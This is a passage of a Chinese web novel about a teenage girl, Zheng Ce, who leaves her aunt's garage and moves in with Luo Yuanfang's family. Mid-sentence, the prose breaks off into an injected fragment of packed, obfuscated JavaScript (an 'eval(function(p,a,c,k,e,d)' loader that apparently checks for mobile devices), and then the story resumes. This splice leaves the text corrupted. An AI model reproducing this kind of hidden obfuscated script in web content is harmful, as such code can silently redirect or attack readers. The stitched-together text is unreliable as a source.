然后走过去从韩忠夏手里抢过被打开的书包,开始把桌上的东西往里收。 下一步往哪儿走她不知道,但这个车库,她肯定是不会再住下去了。 院子铁门忽然被敲得哐哐作响。 “谁啊?”韩忠夏不耐烦朝门口吼了声。 宋熙想来拦郑策,让她别赌气,郑策没理她。 “我!” 门外面只听得出是个男人的声音。 也不自报家门,说完后又哐哐两声,这力道更像是来砸门的。 安城北曾经说骆远方边界感太清晰。 但这段时间和郑策相处来看,郑策的边界感更不容小觑。 被翻包察日记这种事,对她来说无疑是种羞辱。 这家人嗓门不小,里面的门又开着,骆远方在院墙外听了个大概,等到里面没声儿了,他才抬手敲门。 该走了。 铁门上的一扇小门打开,韩忠夏皱着满脸褶子探出来,先是一惊。 “骆远方?干什么?” “我找郑策同学,找她拿东西。” 说话间,骆远方把只穿了一只袖子的棉服脱下来,拴在腰间。 再慢条斯理拆下左臂上的绷带,绑在手背上,用嘴咬着一边,系了个死结。 “她没在。”韩忠夏扫了他一眼就要关门。 骆远方看准时机,一脚卡在门边,稍一用力,将门踢开。 再踏进去,毫不客气往车库方向走。 “谢谢叔。” 一进车库,他挑了挑眉,“哟,东西都打包好了,这么快。” 郑策她们的东西一直也没摊开放,都放在包里,随时把拉链合上就能走。 郑策看着他没说话。 骆远方两步走到郑策旁边,右手推着两个行李箱,左手拿起桌上被塞满的手提式户外包。 郑策盯着他:“你干嘛?” “收拾完了?” 骆远方转头看她,“你还想跑几趟?” 郑策犹豫着点了点头,没去看宋熙,垂着头走过去。帮着把户外包提过来。 “抬起头。” 骆远方抬着下巴看院子里眉毛胡子都要气炸了的韩忠夏,对她小声说。 “你没做错什么,丧着脸给谁看。” 院子里韩忠夏一脸了然,奸笑道: “哟,这是找着下家了,还真是和你妈一样……” 骆远方都知道人家爸妈去世了,还揪着伤口撒盐是不是太缺德了! “个逼养的。” 他拧着眉咬牙暗骂了句,就在余光里看见一个身影一闪而过。 紧接着,闷响一声。 郑策扔起旅行包,抵住韩忠夏胸口,一手钳着他下巴,就把他往墙上推。 她个子不矮,身手又敏捷,做到这个动作轻而易举。 招式和那天抓扒手一模一样,但胜在速度,一般人来不及反应。 胸口突如其来的重量还有郑策瞬间的推搡让韩忠夏有些措手不及。 他为了保持平衡,愣是被挟制仰着头后退了好几步。 直到后脑勺磕上凹凸不平的石墙。 “郑策。”骆远方喊了她一声。 毕竟如今宋熙是她监护人,就算真的搬出去了,闹得太难看也不好收场。 郑策明显很生气,掐着韩忠夏下颌的手有些微微发抖。 她僵持了两秒,猛地松手。鼻孔里哼出没咽下去的气,头也没回轻声道: “走吧。” “等等。” 骆远方走了两步,忽然回头看又钻进车库的韩忠夏。 他问了句:“东西检查一下,确定拿完了?” 郑策拧着眉不太耐烦想呛回去,忽然睁大眼睛,看着他。 “什么意思?” “这种人见得多了,等我一下。” 他把行李箱放在院子里,说完就大步走进车库。 紧接着听见房间里传来韩忠夏还没缓过来的嘶哑吼叫。 “你他妈在谁家耍横呢?” 骆远方没理他,只是向两人抬了抬下巴,“外套脱了,裤兜翻出来。” “你是不是有病,跟你那……” 韩忠夏见识过骆远方的狠劲儿,明显不太想招惹他,但嘴里还不饶人地瞎逼逼。伸脚不动声往后踢了踢什么东西。 “骂我爹妈?我可就没有郑策那么温柔了。” 骆远方撕下脖子前面的膏药,活动了一圈颈椎,然后歪头看着他。 “我操了!” 韩忠夏手肘撞了撞宋熙,自己先脱了外套,翻开衣兜。 “睁大你狗眼看清楚!” “你他妈再骂一句!” 骆远方忽然一踢铁桌,桌子晃动,撞上旁边的椅子和衣柜,动静不小。 他吼了句又沉声道。 “我跟你可没什么面子可讲。” 韩忠夏再混,最多谋财,不敢伤人,可眼前这位祖宗一身的伤就不一样了。 宋熙更被吓得不知所措,站在对面不敢言语,没想到郑策真的和这位勾搭上。 骆远方沉着脸检查完,直接出了车库。 路过郑策的时候,推上两个箱子道:“跟着我。” 郑策背了个书包,提着一个户外包,本想自己再推一个箱子,拉杆却被骆远方直接抢了过去。 骆远方虽然只穿了件黑色卫衣,但寒风里冷不丁触碰到,竟然能感受到他的体温,很烫。 可能是为了一气呵成,骆远方根本没看,就压着郑策的手去拖箱子。 郑策被烫了般,立马抽回手,回头看了眼车库,也跟着他出去。 “去哪儿?”她小跑两步跟上,面色冷肃,眼神凌厉,根本没有落荒而逃的狼狈。 “先把跟屁虫甩掉。” 骆远方说完就拐进一个巷子。 郑策回头。 宋熙不知何时跟了出来,皱着眉一脸担心地落在后头几步远。 她脚下一顿。 “别去。” 骆远方说,“现在太混乱,她也做不了主。冲动的时候少做决定。” 绕出巷子就到了江蔚云她们学校门口。路过金店的时候,那个灰蓝色头发的男生朝他们吹了吹口哨。 ……这个傻逼。 “认识韩忠夏老婆么?”骆远方迅速问。 “认识,不熟。” 周全皱了皱眉看过去,这才意识到气氛不太对,压着声音问。 “怎么了?” “正好。帮着拦一下。” “没问题。”周全吹了声口哨。 两人再往前走一截,就听见周全轻蔑又欠揍的声音在后面响起: “诶阿姨,买黄金吗?进店看一下呗?都是真家伙……” 宋熙不是这些混子的对手,着急地困在原地,看着他们离开的背影。 再往前走就是涪江江边。 总算甩掉姨妈,郑策心里还咚咚咚个不停,心跳连接了血液,跳动的声音有些震耳欲聋。 还心乱如麻。 她停下来。 “对不起添麻烦了。” 她从书包里拿出那个磁带递给骆远方,“就到这里吧,我缓一下。” 旁边小区门口的大爷套了一件军绿色大衣,又在外头裹一层小花被,蜷缩着坐在门口小木凳上。 郑策吐出一口气,瞬间在空中结成白雾,她透过白雾看那大爷,还有些五花马,千金裘的潇洒。 骆远方接过磁带,却站着不动,过了片刻才垂眸看着手里的磁带盒,轻笑道: “什么情况了都,真有礼貌。” 他还想说什么,忽然郑策哈啾哈啾连打几个喷嚏,骆远方连忙把纸巾递过去。 郑策脸部表情变化太大,刚又一顿运动,眉毛上两颗“钉子”被震了下来。 郑策:…… 骆远方有些想笑,却忽然发现郑策眼角有些泛红,他连忙一脸严肃偏过头去。 手不知所措往兜里摸了摸,摸出一包烟。 “你手没事吧?提这么重的箱子。”郑策拧着眉看他刚自行拆开绷带的手。 声音有点闷。 “你腿都能翻墙了,我还那么娇气么?” “……你抽烟?”郑策又问。 “这个?”骆远方抬了抬手里烟盒,揣回兜里。 “不抽。跟你眉毛上的家伙什一个作用。” “给我一根。”郑策扑哧笑了下。 “你抽?”骆远方犹豫道。 “不抽,玩儿玩儿。” 她头发散着,在风里有些凌乱。 “你寸头不冷么?猫猫狗狗冬天都不剪毛。” “靠。” 两个人默契地笑了。 骆远方笑着又问:“有什么打算?” 去找宋乐洋吗?郑策想。 但她根本没有宋乐洋的联系方式。 更何况这个自由职业者是不是法外狂徒都有待商榷。 还风餐露宿的。 她一个人倒是也凑合,但还带着个江蔚云…… 郑策趴在石护栏上,盯着涪江沉吟了会儿。 沿江步道上的垂柳发了新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骆远方又补充,“但是去我家得先说好,不能随身带着刀。你们房间我们不会进。但家里住个恐怖分子还是挺吓人的。” 这得多没安全感,在自己姨妈家住着,还在枕头下面藏着刀啊。 郑策还是盯着他没说话。 原来都听见了啊…… 那似乎也没什么可隐瞒的了。 骆远方也看着她,等她的回答。 江风吹得她浓密睫毛微颤。她鼻梁高挺,在这种雾蒙蒙的天里,五官像是水墨不经意勾勒,笔锋顿挫有力,线条流畅利落。 而那双眸子却格外纯澈,映着江天。 “咽下去。”骆远方提醒她。 “……谢谢。”郑策有些难以置信地咽下去,又说。 “感动也别哭啊。” 骆远方转身也趴在石护栏上,微微仰头,眯上眼睛感受风。 “其实你这样也有好处,起码过年的时候少了一年一度和亲戚虚以委蛇的环节。洒脱!” “是嘛。”郑策笑着答道。 “郑策。” 骆远方慢慢睁开眼,看着远处江面,严肃道。 “我为我之前的话道歉,既然回来了,就努力生活呗。力气不会白费,出了力就会有结果,好的也好,不顺心的也好。我不知道你这几年经历了什么,反正骆淇见你第一眼就说你和别的女孩儿不一样。但是,人生不就是经历嘛。” 郑策笑着转头看他,不打算正面回答。 “我才该问你经历了什么吧,话真多,跟刚放狠话的完全不是一个人。不过,你这长相应该走的是高冷酷拽人设……” 说到一半,她忽然愣住。 因为离得很近,可以清晰地看见骆远方脖子上膏药遮过的皮肤有些惨白。 但除了车站见面那次看见的擦伤外,骆远方左侧锁骨上方不远处有一截横着的疤痕。 很小,但能留到现在这个样子,应该不浅。 她没来由地想起回小镇的第一个晚上,骆远方仿佛没有疼痛神经地钻进荆棘丛。 还有他在自己左臂上毫不留情的一刀。 郑策下意识咽了咽喉咙。 “我呢什么人设都帅。也就是随口道个歉,大丈夫能屈能伸。” 骆远方从兜里掏出两个葡萄味儿棒棒糖,给她一根。 “古人见江面壮阔都能有感而发,我就感发感发。人生仅此一次,每天都会有新的问题,跌跌撞撞,还是得步履不停。” 郑策接过棒棒糖,跟他手上那根磕了一下。 “敬仅此一次的人生。” 她拆开塑料包装,又问:“但是你为什么随身带着棒棒糖?” “我一动脑子就头晕,刚才的发言差点把CPU给烧了,补充点糖分。就是个糖精脑子。” “怎么不说话?”骆远方继续闭上眼睛应着风,嘴角慢慢勾起,“太感动了?” “虽然说了很多遍,但还是很感谢。” 郑策深吸一口气,也转过头去。 “有空请你吃饭。” “好啊。” 骆远方果断应下,语气瞬间松快了许多。 “不过你这行李确实太多了点。” 他看着几包东西陷入沉默。 “待会儿叫个苦力来帮忙。” 话刚说完,骆远方的视野里,忽然钻出一个毛茸茸的小可爱。 小可爱背上是黄色的,两个屁股蛋是白色的绒毛,蹭着他裤脚就踩上他的鞋子。 骆远方僵住两秒,低头去看。 他甚至感受到了这只柯基的体温,是滚烫的! 瞬间耳边嗡鸣一片,从头到脚的汗毛喊了声:“立——正,向右——看!向后——转!” 下一秒。 骆远方想都没想,伸手直接抱住郑策,双眼紧闭。 他埋头在郑策颈窝间,哀求道:“拿开拿开拿开!去去去!” 14. 现在还敢住么? “不咬人的不咬人的。”一个阿姨连忙蹲过来抱狗,生怕慢一步骆远方一脚就给踹了。 “好了已经走了。” 郑策看了眼无辜的小狗还在嗅骆远方,忽然想逗逗他。 “还在喘气儿!我裤腿能感受到!” 骆远方与其说抱着她,不如说将自己僵成了块铁板,而郑策刚好卡在中间。 “哎哟,不喘气儿还行嘛!一米八大小伙真看不出来啊。” 小柯基又挣扎了两下,才放弃抱骆远方大腿,阿姨走之前忍不住又解释了句:“真的不咬人。” “要不是你冷汗都吓出来了,我会以为你占我便宜啊。” 郑策仰着脖子没动,跟罚站似的,双手紧贴在裤缝线上,眨巴眨巴眼睛。 骆远方沉默着放开她,转过身去,没说话。 主要是脸被丢尽了…… “没什么,挺可爱的。” 郑策背着手转到他面前,面对面站着,俯身去看骆远方的表情。 “狗吧,你越鬼鬼祟祟,它就越想找你玩……哎——” 她叹了声。 “滚蛋。” 骆远方迅速抹了把眼角,“你不懂,我这是物理反应。” “指甲花包的吧?我外婆以前也老给我包,十根手指,十根脚趾,晚上睡觉跟自己裹在粽子里一样。” 郑策打量了一下他手指,避免他尴尬转移话题道,“还挺怀念的。” “家里还有,骆淇刚从人家花园里偷的,你回去就能实践,用不着怀念。” 郑策笑着一挥手,“算了,上学的时候包,看着确实……有点傻气哈。” “靠。”骆远方说着没忍住笑了。 清华楼是她的过去,是他的现在,郑策走在熟悉的路上,一时有些走神。 南方沿街的景观树下一般是个土包,北方街边树下则多是一个坑,据说是南方多雨,北方干旱的区别。 但一到冬天,全国的树干都清一色刷上白漆,文艺点儿的地方还会给裹一层毛衣,看着十分暖和。 临街一楼用透明防水塑料布围成一个四四方方的封闭空间,里头摆一张麻将桌。 四个人就能寒暑不歇,雨雪不停地码长城。 “以前也没这么悠闲啊。” 郑策一晃眼看过去,防风麻将桌边坐了好些都是年轻人。 骆远方轻嘲一声,“那是以前没拆迁,拆二代现在日子过得可滋润呢。” 郑策忽然想到宋熙的话,骆远方家本来也在拆迁范围的。 她于是没接话。 这几年这边热闹多了,但又没发展,路上都是黑色的油,显得又乱又差。 街边好不容易开了家花店,老板却用自家花架全占着人行道,洒一地的土。 行人不得不在人行道和马路上蛇形。骆远方始终走在她右侧,挡在来车的方向。 两人拖家带口到楼下时,骆远方忽然停住。 “您请吩咐。”郑策把箱子放正,心有灵犀地说。 平日里,虽然骆远方看着徒手撕歹徒,拽得二五八万的模样,心思却出奇的细腻。她等待指令。 “先把剩下的一个给摘了,回去吓着老太太。” 骆远方指了指自己眉骨说,“还有,别提之前在派出所的事儿,她具体的不清楚。” “明白船长。”郑策爽快答应。 “哎哟这谁家姑娘?长得真白俊。” 自动麻将机开始刷刷刷洗牌,临街的一大姨看见郑策高声问。 “反正不是您家的。” 骆远方说,“留心手气吧。” “嘿这小子……”大姨啧了一声。 四排麻将摞得整整齐齐升出桌面,她又迅速投入战斗。 郑策熟门熟路正要上楼,被骆远方一拦,正要问还有什么吩咐,就见他下巴一抬。 “劳工来了。” 向他们走来的,正是骆家二号牛马,骆乘光同学。 骆乘光从教室偷了几根粉笔,脑袋上顶着头戴式耳机,一路沿着围墙画了根笔直的线。 遇见大门,还得踮脚从人门框上越过去,保证白线不断。 这是什么行为艺术? 但鉴于这些居民楼的水泥墙本身就够磕碜的,貌似也没人在乎。 骆乘光似乎感受到了来自自家兄弟逼人的目光,停下脚步看过来。 “嚯,去哪儿批发了?” “先搬上去。” 骆远方说,“这祖宗据说还有几大箱快递到了,等会儿去快递站批发。” 郑策和骆远方算比较熟,但和他家人又是另一回事,此时有些拘谨地朝骆乘光笑笑。 骆乘光也朝她点头笑笑。 很尴尬啊很尴尬…… 然后小骆同学就遭到了亲哥毫不留情的一记爆栗,“范儿大呢你,叫人姐姐。” “姐姐。”骆乘光道。 “哎,上去吧上去吧。” 郑策感觉自己承受不住这样一声姐,点头哈腰地答应。 “叫魂儿呢?来了来了。” 在骆远方坚持不懈地敲门下,骆淇从厨房小跑着去开门,一看见骆远方就问。 “让你问人的事儿问了吗?怎么回的啊?” “让让让让。” 骆乘光先挤进门,把行李箱放地上才说。 “怎么回?直接回。” “骆奶奶好,给你们添麻烦了。” 骆远方往旁边让了一步,骆淇才看见郑策站在门外。 楞了瞬,这活了几十年的人精立马想明白大概,疼爱地过去拉她的手。 “麻烦什么,来了就好,跟我们住就没那么多规矩了啊。” 骆淇伸手去握郑策的手腕,拇指和中指盈盈一握。 “哎哟,你太瘦了,今晚我做了好吃的,待会儿多吃点啊。” 郑策状态恢复得很快,丝毫没有刚从韩忠夏家逃出来的慌乱和恐惧,以及在桥上的迷茫伤感。 她动作利索地把当前的行李随便放进屋里,出来看见厨房的顶灯没人换,说着就要去换。 生怕自己不讨喜,下一秒就会被人撵出去的样子。 骆远方和骆乘光两人呼哧呼哧休息的时候,她甚至把客厅的地都扫了个来回。 啧。 骆远方没说话,沉默着看她劳作。过了会儿让她把快递号发过去,带着骆乘光去了快递站。 但他这一走,郑策莫名有些慌。 分明是熟悉的环境,但现在却是别人的家。而她唯一熟悉的人啧了一声,帮自己搬行李去了。 郑策不明白自己踩着骆远方哪根尾巴了。 甚至在自己提出要一起搬的时候,还被不耐烦瞪了眼说不要去添乱。 不大的客厅,此时显得空落落的,郑策只想尽力把骨骼都缩拢起来。 减少自己的体积,以免目标太大。 “天官儿诶,嘴巴上还涂着口红呢!” 骆淇忽然在她背上打了一下。 “你们现在是高中生,怎么搞这些花里胡哨的,快去卸了!” 郑策被吓得有些愣住,看了骆淇快十秒。 还没想明白这老太太怎么翻脸比翻书还快,就连声应好去厕所。 看着镜子里的自己,她忽然惊醒。 刚才的失落在瞬间被骆淇这一声吼给清理得干干净净。 一丝影子都没有。 她俯身把水扑到脸上,冬日刺骨的凉意让她长长舒出一口气。 骆淇下手不轻,背上还有阵阵火辣辣的疼。 但就是莫名有些安心。 被拉入别人的圈子里,不考虑你面子,单纯为你着想,管你要不要脸的那种熨帖。 把你当做一家人的欣慰。 她收拾完矫情的心情,恢复洒脱酷姐形象也转战厨房。 “奶奶,我看您上回额头上的伤都好得差不多了,下回可得注意。” 骆淇不客气地分给她一篮没洗的菜,楞了两秒忽然狂笑。 “那是骆远方画的战损妆,跟你装可怜的,逼真吧?” “骆远方还有这一手呢,手艺不错。” 郑策惊道,也不追究他们的诈骗技术。 若是要一笔一笔地算,她在医院坑了骆远方的钱,骆淇又在烧烤摊骗她狗肉吃,那就算不完了…… “他画画是不错。” 骆淇不知道为什么有些感慨,似乎对自己孙子画画好看并不开心。 “就是画画啊,写字啊都要用眼,小子已经近视了都!我给他包了指甲花明目,你要不要来点?” “不用了,我眼睛挺好,还没近视呢。” 想起骆远方十指上的创可贴,郑策连忙拒绝。 “我们这儿可没人会客气。” 骆淇斜她一眼,“住过来了,就不要把在你姨妈家的臭毛病带进来。” 她又指了指自己耳朵,“这一排金属钉吓唬谁呢,以为这样随时像能进局子的样子就无坚不摧了吗?真正强大的是这儿,心,而不是别的花里胡哨的东西,懂?” 郑策忽然鼻子有些发酸,郑重地点点头。 “懂。” 此时门外抗货的两人吭哧吭哧推门进屋。 骆淇见着一客厅堆满了纸箱,摊着手惊呼:“天官儿诶,你这是把宋熙家搬空了?” 骆淇举着两手的油在一堆纸箱子里溜达一圈,叹道:“这么多东西,丢个一件两件的,能发现吗?” 这些其实都是以前家里的东西,郑策收拾了半天,随便哪些都舍不得丢,索性打包都寄了回来。 以为自己起码有一间房间,没想到最后是住车库。 几个人帮着收拾的时候,骆乘光拿出了一袋用光了笔芯,还有一包衣服吊牌。 看得出他压抑了不爽的情绪,才慢慢问道:“……请问这是?” “笔芯是我高中三年所有用过的笔,吊牌上还有一些小扣子和小棉花,万一……有用呢,就没丢。” 郑策有些心虚。 “……靠。” 骆远方好不容易缓过气来,看着骆乘光手里的东西,憋半天憋出一个字。 原来他刚才就跟个卖废品的似的,扛着一箱箱总价不过三位数,还死沉的东西来来回回。 他有些想死。 还好他那箱子里都是些衣服和照片。 “东西要分类么?” 骆远方已经失去笑容了,“照片就这么几张?” “嗯。” 郑策接过去,看了一眼便顺手塞进了另一个箱子。 “没事,挪进房间里,我能收拾。” “……祖宗,我怕那小房间塞不下。” “骆远方。” 骆淇在厨房里喊了声,“不用你帮,就进来帮我。” 骆远方刚端着水杯刚进去,厨房门就嘭地一声在背后关上。 他吓了一跳,小声道:“你要杀人灭口?” “你还不值得我动手。” 骆淇觑他一眼,单刀直入,“你和郑策有仇吗?” 骆远方顿了下,“我红苕稀饭胀多了,我把仇人带家来。” “没有?你见人的时候一直丧着个脸。” 骆远方往灶台边一靠,被骆淇连忙打了一巴掌,“往哪儿靠呢,全是油,衣服又洗不干净。” “我洗得干净!” 骆远方立马争辩,顿了下又琢磨道,“我感觉她太别扭了,看不惯。” “虽然知根知底,毕竟对我们不熟,你还指望她一来家,不脱鞋就瘫沙发上呢?” 骆远方怀疑这句话在阴阳他们两兄弟。 “姑娘心思都细腻,你这态度我都能感受到,你收着点。” 骆淇小声说,“知道我孙子出发点是好意,不想让她太拘束。但她刚寄人篱下结束,还不知道自己能在我们这儿住多久,得给人时间缓冲,听见没?” “听见了……” 骆远方抿了抿唇,不耐烦地绷成一条狭长的直线。 她还不知道自己能住多久? 这是住两天就想跑么? 那他刚费劲巴拉搬上来的东西算什么! 有些不爽。 虽然当事人什么也没说,只是骆淇凭空猜测,但有一点苗头和可能性,骆远方就冒火。 “想什么呢!” 骆淇又给他脑袋瓜一巴掌,还是压着声音道。 “你没回来之前,姑娘一直笑眯眯的,你给我注意点表情管理。” 骆远方:? 一直笑眯眯? 您是不是对郑策有什么误解。 他疑惑地还要辩一辩,骆淇立马拍了拍肩转身,正常音量道: “哎哟,耳鸣又来了,不要老惹老年人生气,你个不肖子孙。” “……我的错。” 骆远方心里只剩一句:姜还是老的辣。 骆远方前脚被叫进厨房,郑策后脚便很默契地没再麻烦骆乘光。自己把东西搬进卧室,就一直没出去。 给他们留出空间。 骆奶奶是个好人,说不定要教导两个孙子以后对她们客气点。 多多少少会和别人隔着一层,客人就客人吧,郑策往床上一躺,比仆人要好多了。 这个房间正好就是她之前住的屋子,熟悉的气息带着难得的安稳让她忍不住闭上眼睛。 刚骆远方递过来的照片,第一张就是他们的全家福。 冷不丁看见熟悉的三张脸,郑策心里一滑,踉跄了一跤。 照片里,旁边的小女孩儿还笑得无忧无虑,她心底酿出一股冷笑,以后有她的罪受喽。 不知道什么时候睡着的。 被一阵十分不耐烦的敲门声叫醒时,郑策一个鲤鱼打挺,直立在地上,表情依旧茫然。 “你不是还有个外甥女么?不要了?”骆远方在门外问。 下一秒,门被十分狂野地打开,掀起一阵风。 还带着奶味儿。 一个人影从他旁边挤出去,“完了完了,她不会回姨妈家了吧!” “你才刚回来没几分钟,不会这么快的。” 骆淇在厨房喊,“不要急,让骆远方带着滑板去接,小孩子最喜欢坐他滑板前面。” 郑策这才猛地顿住脚步,抬头一看墙上的钟。 她才睡了五分钟。 她有些怨恨地朝骆远方看过去。 “我又没说来不及了。”骆远方举起双手,作无辜状。 他又大声回答骆淇的话,“就算是这个家的牛也要休息吧,我……” 厨房里传来菜刀猛地砍到菜板上的声音。 咔嚓。 “我出发了。”骆远方把墙角的滑板一拿就往外走。 “我也去。”

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